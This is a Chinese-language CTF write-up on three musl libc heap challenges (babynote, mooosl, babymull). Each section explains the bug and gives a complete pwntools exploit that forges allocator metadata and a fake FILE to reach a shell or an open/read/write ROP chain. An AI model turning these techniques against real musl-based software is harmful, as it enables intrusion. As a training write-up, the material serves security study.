前言
本文不分析 musl libc 相关源码,仅仅为刷题记录,请读者自行学习相关知识(看看源码就行了,代码量也不大)
starCTF2022_babynote
保护:保护全开
程序与漏洞分析:
程序实现了一个菜单堆,具有增删查丢的功能,其主要维护着以下结构:
增加时采用的头插法。然后查看功能是从链表头 bss_ptr 遍历该链表,比对 name 找到指定对应的结构,然后输出其 content。删除操作同理也是比对 name,然后依次释放 name_ptr,content_ptr 与控制堆块本身,但是其存在一些问题:
可以看到如果链表中存在两个元素,那么删除最后一个元素时并没有进行脱链操作,这里就导致了 UAF。
除此之外,程序还给了一个丢的功能:
这里直接将 bss_ptr 给置空了。
漏洞利用:
musl libc 目前主要的利用手法就是打 dequeue 中的 unlink,然后劫持 IO 控制程序执行流。
所以总体如下:
1)泄漏 libc
2)泄漏 chunk_addr -> group -> meta -> meta_area -> secret
3)伪造 meta_area -> meta -> group -> chunk,伪造 io_file
4)释放伪造的 chunk,修改 __stderr_used 为 fake_io_file
5)然后执行 exit 劫持程序执行流
其实就是一些堆风水的工作,挺无聊的说实话,记录一下关键点吧。
1)泄漏 libc / chunk_addr
这里主要就是通过堆风水形成如下结构:一个堆块即是控制堆块又是一个 content 堆块。如果 size足够大的话,其就会使用 mmap 分配空间,这个跟 libc 有固定偏移。
这里我们可以利用第一个元素去泄漏第二个元素的 name_ptr 和 content_ptr(这里的布局不一定如图所示,这里就是画了一个草图,根据自己的堆风水而定)
2)泄漏 secret,这个是后面伪造 meta_area 用的
也是通过堆风水去修改 content_ptr 的值实现任意地址读。由于在第1)步中我们泄漏了 name_ptr 这个堆指针,所以可以根据其与 group 的偏移计算出 group 的地址,从而泄漏 meta,泄漏了 meta,其 meta&-4096 就是 meta_area,这里可以泄漏 secret 了
3)相关伪造操作
这里其实没啥好说的,直接在 content 上面伪造就行了,将 content 的大小搞大一点,这里就会调用 mmap 分配,而 libc 地址又是知道的,所以伪造的相关地址也是知道的。一些填充值直接调试填就好了。但是需要注意的是:meta_area 地址必须是页对齐的,chunk 地址必须是8字节对齐的
4)释放伪造的 chunk
修改 content_ptr 为 fake_chunk_addr 即可
在进行堆风水的时候最好开始的时候保留一个 chunk,不然测试发现后面会切换到其他 meta。
exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'option: '
def add(name, data, name_size=None, data_size=None):
sla(menu, b'1')
if name_size is None: name_size=len(name)
if data_size is None: data_size=len(data)
sla(b'name size: ', byte(name_size))
sda(b'name: ', name)
sla(b'note size: ', byte(data_size))
sda(b'note content: ', data)
def find(name, name_size=None):
sla(menu, b'2')
if name_size is None: name_size=len(name)
sla(b'name size: ', byte(name_size))
sda(b'name: ', name)
def dele(name, name_size=None):
sla(menu, b'3')
if name_size is None: name_size=len(name)
sla(b'name size: ', byte(name_size))
sda(b'name: ', name)
def forget():
sla(menu, b'4')
def eexit():
sla(menu, b'5')
def leak_addr():
addr = 0
for i in range(8):
addr |= int(rc(2), 16) << (8*i);
return addr
#gdb.attach(io, 'b *$rebase(0x00000000000016A1)')
#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')
add(b'A', b'X')
for _ in range(8):
find(b'B'*0x20)
forget()
add(b'B', b'1'*0x20)
for _ in range(5):
find(b'C'*0x20)
add(b'C', b'2'*0x20)
dele(b'B')
add(b'X', b'A'*0x1000)
find(b'B')
rut(b':')
group_0x10 = leak_addr() - 0x60
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)
for _ in range(5):
find(b'C'*0x20)
pay = p64(group_0x10+0x50) + p64(group_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')
rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)
for _ in range(5):
find(b'D'*0x20)
pay = p64(group_0x10+0x50) + p64(meta_area_0x10) + p64(1) + p64(0x20)
find(pay)
find(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)
libc.address = libc_base
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("binsh", binsh)
info("system", system)
info("__stderr_used", stderr_used)
for _ in range(4):
find(b'M'*0x20)
fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300
info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)
last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10
fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)
pay0 = p64(group_0x10+0x10) + p64(fake_chunk_addr) + p64(1) + p64(0x20)
pay1 = fake_group.ljust(0x300, b'A') + fake_io_file
pay1 = pay1.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
pay1 = pay1.ljust(0x1000, b'B')
add(pay0, pay1)
dele(b'A')
#pause()
eexit()
sh()
效果如下:
defcon2021_mooosl
starCTF2022_babynote 这题其实就是根据这题改编的。
保护:保护全开
程序与漏洞分析:
程序实现了一个菜单堆,具有增删查的功能,其主要维护着以下结构:
增加功能就是根据指定的 index 找到对应的链表,然后利用头插法插入。查操作也是先根据 index 找到对应的链表,然后遍历链表对比 key 找到对应的结构,然后输出其 value 数据。
漏洞在删除操作中,删除操作也是先通过 index 找到对应链表,然后遍历链表对比 key 进行脱链删除操作,但是这里存在的问题是当一个链表中存在2个以上的元素并且删除最后一个时没有进行脱链操作,导致UAF。
漏洞利用:
漏洞利用跟上一题差不多,没啥好说的,毕竟上一题就是这一题改编的。
exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn", checksec=False)
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'option: '
def add(key, value, key_size=None, value_size=None):
sla(menu, b'1')
if key_size is None: key_size=len(key)
if value_size is None: value_size=len(value)
sla(b'key size: ', byte(key_size))
sda(b'key content: ', key)
sla(b'value size: ', byte(value_size))
sda(b'value content: ', value)
def show(key, key_size=None):
sla(menu, b'2')
if key_size is None: key_size=len(key)
sla(b'key size: ', byte(key_size))
sda(b'key content: ', key)
def dele(key, key_size=None):
sla(menu, b'3')
if key_size is None: key_size=len(key)
sla(b'key size: ', byte(key_size))
sda(b'key content: ', key)
def eexit():
sla(menu, b'4')
def leak_addr():
addr = 0
for i in range(8):
addr |= int(rc(2), 16) << (8*i);
return addr
def get_index(key):
mul = 2021
for ch in key:
mul = 0x13377331*mul + ord(ch)
return mul&0xffffffff
def get_key(key):
i = 0
index = get_index(key) & 0xfff
while True:
if (get_index(str(i))&0xfff) == index and str(i) != key:
return str(i).encode()
i += 1
#gdb.attach(io, 'b *$rebase(0x00000000000018BE)')
add(b'A', b'B')
for _ in range(5):
show(b'P'*0x30)
add(b'B', b'B'*0x30)
add(get_key('B'), b'B')
dele(b'B')
for _ in range(3):
show(b'P'*0x30)
add(b'C', b'C'*0x1000)
show(b'B')
rut(b':')
group_0x10 = leak_addr() - 0x70
libc_base = leak_addr() + 0x3fe0
info("group_0x10", group_0x10)
info("libc_base", libc_base)
for _ in range(3):
show(b'P'*0x30)
pay = p64(group_0x10+0x30) + p64(group_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
meta_0x10 = leak_addr()
meta_area_0x10 = meta_0x10 & (-4096)
info("meta_0x10", meta_0x10)
info("meta_area_0x10", meta_area_0x10)
for _ in range(3):
show(b'P'*0x30)
pay = p64(group_0x10+0x30) + p64(meta_area_0x10) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
show(pay)
show(b'B')
rut(b':')
secret = leak_addr()
info("secret", secret)
libc.address = libc_base
system = libc.sym.system
stderr_used = libc.sym.__stderr_used
info("system", system)
info("__stderr_used", stderr_used)
for _ in range(2):
show(b'P'*0x30)
fake_addr = libc_base - 0x2aa0
fake_meta_area_addr = fake_addr + 0xaa0
fake_meta_addr = fake_meta_area_addr + 0x18
fake_group_addr = fake_addr
fake_chunk_addr = fake_addr + 0x10
fake_io_file_addr = fake_addr + 0x300
info("fake_meta_area_addr", fake_meta_area_addr)
info("fake_meta_addr", fake_meta_addr)
info("fake_group_addr", fake_group_addr)
info("fake_chunk_addr", fake_chunk_addr)
info("fake_io_file_addr", fake_io_file_addr)
last_idx, sizecalss, maplen = 5, 3, 1
union = last_idx | (1<<5) | (sizecalss<<6) | (maplen<<12)
fake_meta_area = p64(secret) + p64(0) + p64(4)
fake_meta = p64(fake_io_file_addr) + p64(stderr_used) + p64(fake_group_addr) + p32(62) + p32(0) + p64(union)
fake_group = p64(fake_meta_addr) + p32(last_idx) + p32((0x80<<8)) + b'A'*0x30 + b'\x00'*0x10
fake_io_file = b'/bin/sh\x00'.ljust(0x28, b'\x00') + p64(1) + p64(0)*3 + p64(system)
key = p64(group_0x10+0x20) + p64(fake_chunk_addr) + p64(1) + p64(0x30) + p64(0xb4c06217) + p64(0)
value = fake_group.ljust(0x300, b'A') + fake_io_file
value = value.ljust(0xaa0, b'\x00') + fake_meta_area + fake_meta
value = value.ljust(0x1000, b'B')
add(key, value)
dele(b'B')
eexit()
#debug()
sh()
效果如下:
babymull
这个题目跟之前的有一点不同,之前我们都是伪造 fake_chunk 然后根据 fake_chunk 伪造 fake_goup,进而伪造 fake_meta 和 fake_meta_area。但是这个题目我们不伪造 fake_chunk,我们知道 chunk 是根据 offset 找到的 group,所以如果我们能够修改 chunk 的 offset,便可以劫持 group,从而伪造 fake_group 后面就都是一样的了。
保护:保护全开,并且有沙箱
题目实现了一个菜单堆, 具有增删查的功能,并且还给了一个后门函数。其中查和后门都只能执行一次。题目主要维护着以下结构:
先来看下 show 功能:
可以看到这里用 %s 输出 name,所以如果能够将 name 填满,则会将 data_ptr 指针输出。而 data 的大小在 [1,0x1000] 之间,所以其可能是一个 mmap 分配的空间,所以可以用来泄漏 libc。
但是在 add 时填充 name 时最多输入15个字符:
但是这里存在问题,这里memcpy不会在最后填上\x00,所以可以利用堆块本身残余的字符将name这16个字节填满。
在后门函数中存在任意地址泄漏和任意地址写一字节NULL:
因为后面要伪造meta_area,所以得泄漏secret,怎么泄漏呢?在上面两题我们是通过先泄漏group,然后泄漏meta,进而泄漏meta_area,然后去泄漏meta_area中secret(其实这里做麻烦了,呜呜呜)。但是我们知道malloc_context是全局的,并且在libc中,所以在泄漏了libc后,可以直接去泄漏malloc_context中的secret。所以利用后门可以直接泄漏secret。
删除操作本身不存在漏洞,所以现在就只有后门中的一字节任意地址写NULL这个漏洞了。利用思路如下:
堆风水形成如下布局:(这个算不上堆风水,先后申请两个0x1000的堆块就行,为啥是0x1000呢?方便我们在里面伪造相应的结构体,并且0x1000的堆块是mmap分配的,所以其地址相当于已知)
利用后门函数修改 chunk2 的 offset 字段的低字节为0,这样当释放chunk2时,其会根据 group_addr = chunk2_addr - 0x10 - 0x10*offset 找到 group,这时侯由于 offset 变小了(测试就是变小了),所以 group_addr 就会落在 chunk1 中,所以可以在chunk1中伪造group,后面伪造meta/meta_area 啥的就是如出一辙了。
坑点:chunk2每释放一次,其chunk2_addr就往下走0x10,chunk1一样,不知道啥原因。由于这个害的我调试调了好久,悲......
exp 如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'Your choice >> '
def add(content, size=None, name=b'A'*0xF):
sla(menu, b'1')
sda(b'Name: ', name)
if size is None: size = len(content)
sla(b'Size: ', byte(size))
if size == len(content): sda(b'Content: ', content)
else: sla(b'Content: ', content)
def dele(idx):
sla(menu, b'2')
sla(b'Index: ', byte(idx))
def show(idx):
sla(menu, b'3')
sla(b'Index: ', byte(idx))
def exit():
sla(menu, b'4')
def backdoor(addr0, addr1):
sla(menu, b'1932620593')
sl(byte(addr0))
sleep(0.1)
sl(byte(addr1))
for _ in range(5):
add(b'B'*0x20)
dele(0)
#dele(1)
add(b'A', 0x1000) # 0
add(b'B', 0x1000) # 5
show(5)
rut(b'Name:')
rc(0x10)
libc.address = addr64(b' C') + 0x2aa0
info('libc_base', libc.address)
o = libc.sym.open
r = libc.sym.read
w = libc.sym.write
rdi = libc.address + 0x0000000000015536 # pop rdi ; ret
rsi = libc.address + 0x000000000001b3a9 # pop rsi ; ret
rdx = libc.address + 0x00000000000177c7 # pop rdx ; ret
gadget = libc.address + 0x000000000004bcf3 # mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];
malloc_context = libc.sym.__malloc_context
stderr = libc.sym.__stderr_used
info('open', o)
info('read', r)
info('write', w)
info('__malloc_context', malloc_context)
info('__stderr_used', stderr)
change_byte_by_zero_addr = libc.address - 0x2aa0 + 0x8 + 0x6
fake_file_addr = libc.address - 0x2aa0 + 0x10
fake_meta_area_addr = libc.address - 0x2aa0 - 0x560
fake_meta_addr = fake_file_addr + 0x100
fake_group_addr = libc.address - 0x2aa0 - 0x100*16 - 0x10 + 0x10
fake_group_to_first_chunk_offset = 0x530
fake_meta_area_to_first_chunk_offset = 0xfe0
end_to_second_chunk_offset = 0xfdc
info('change_byte_by_zero_addr', change_byte_by_zero_addr)
info('fake_file_addr', fake_file_addr)
info('fake_meta_area_addr', fake_meta_area_addr)
info('fake_meta_addr', fake_meta_addr)
info('fake_group_addr', fake_group_addr)
fake_stack = fake_file_addr + 0x200
flag_str = fake_file_addr
flag_buf = fake_file_addr + 0x300
union = 1 + (1<<5) + (27<<6) + (4<<12)
fake_file = b'./flag\x00\x00' + p64(0)*5 + p64(fake_stack) + p64(rdi) + p64(0) + p64(gadget)
fake_meta = p64(fake_file_addr) + p64(stderr) + p64(fake_group_addr) + p64(1) + p64(union)
fake_group = p64(fake_meta_addr) + p64(1) + p64(0)
orw = p64(flag_str) + p64(rsi) + p64(0) + p64(o)
orw+= p64(rdi) + p64(3) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(r)
orw+= p64(rdi) + p64(1) + p64(rsi) + p64(flag_buf) + p64(rdx) + p64(0x30) + p64(w)
dele(5)
pay = fake_file.ljust(0x100, b'\x00') + fake_meta
pay = pay.ljust(0x200, b'\x00')
pay+= orw
pay = pay.ljust(0xfd8, b'\x00')
pay+= p64(5)
print(hex(len(pay)))
add(pay, 0x1000) # 5
backdoor(change_byte_by_zero_addr, malloc_context)
secret = int(rc(18), 16)
info('secret', secret)
fake_meta_area = p64(secret).ljust(0x10, b'\x00')
dele(0)
pay = b'\x00'*0x530 + fake_group
pay = pay.ljust(0xfd0, b'\x00') + fake_meta_area
print(hex(len(pay)))
add(pay, 0x1000) # 0
#gdb.attach(io, 'b *$rebase(0x0000000000001862)')
#pause()
dele(5)
exit()
#debug()
sh()
效果如下: